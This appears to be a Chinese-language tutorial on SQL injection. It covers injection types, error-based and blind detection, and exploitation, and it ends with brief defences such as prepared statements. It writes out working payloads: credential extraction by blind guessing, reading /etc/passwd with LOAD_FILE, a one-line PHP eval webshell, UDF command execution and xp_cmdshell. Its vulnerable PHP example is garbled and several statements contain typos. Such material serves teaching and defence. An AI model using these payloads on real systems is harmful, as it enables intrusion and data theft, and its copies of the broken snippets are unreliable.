1. 基本原理
后端代码接受外部参数,和sql语句拼接。使得用户输入的参数变成sql代码得到执行。违背数据和代码分离原则。
<?php
name= $_POST["username"]);
pwd= $_POST["passwd"]);
$sql="select * from users where name='$name' and password='$pwd'";
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
?>
注入:name提交test’ or 1=1 –,实际执行的sql变为:
select * from users where name=’test’ or 1=1 –and password=”
2 注入类型
2.1 int型注入:
select * from tabel where id=$id
输入 1 or 1=1
2.2 字符型注入:
select * from table where name=$name
输入 test’ or 1=1 –
3 寻找注入点
3.1 有错误回显的注入
原理:通过参数传递了sql语句给数据库,但是此sql语句存在错误,报错回显。回显了报错同时就说明我们构造的sql语句被数据库加载执行了。
例如:对int型输入1 drop tabel test –
对字符型,输入1’ drop tabel test –
3.2 盲注
(1) 基于Boolean的盲注:根据返回值的不同判断。
int型: 1 or 1=1和1’ or 1=2
字符型:test’ or ‘1’=’1和test’or ‘1’=’2
(2) 基于时间的盲注:在参数中插入延迟执行的sql语句,根据页面响应时间即可判断是否存在注入。
int 型:1 or sleep(1)=0
字符型号:1’ or sleep(2)=0 –
备注:a)sleep(n)延迟实践大概是查到的条数x*n。(不包括后端响应时间)
b)根据注入位置不同构造不同的语句。例如like,order by,select等。
4 sql注入的利用
(1)获取数据库版本,猜表名、账号等(未对当前数据库用户开放数据表时)
test' and ascii(substring((select concat(username,passwd) from users ,1,1)limit 0,1))>64
--二分猜解
(2)读取机器上的私密文件
CREATE TABLE potatoes (line BLOB);
UNION SELECT 1,1,HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;
(3)写入文件
写入一个webshell等,例如将下列代码写入到web目录下的一个文件。
<?php eval($_POST[cmd]);?>
(4)数据库命令执行
原理:数据库允许本地定义的函数,然后通过sql语句加载本地代码(so,jar等),所以通
过插入自定义函数的sql语句,就能导致命令执行。但是,还需要一个前提,就是能够将.so/.jar上传到数据库用户可访问可执行的目录。
攻击步骤:
CREATE FNUCTION f RETUENS INTEGER SONAME evil_so
(5)攻击存储过程
可以理解为存储过程是sql可以调用的函数。
EXEC xp_cmdshell 'cmd.exc dir c'
(6)编码问题造成的
web应用和sql编码不一致导致的转移字符等被绕过。
5 sql注入的防御
(1)使用预编译
(2)使用白名单
例如order by等不能使用预编译的情景。
(3)参数类型检查
(4)使用黑名单(不好的实现)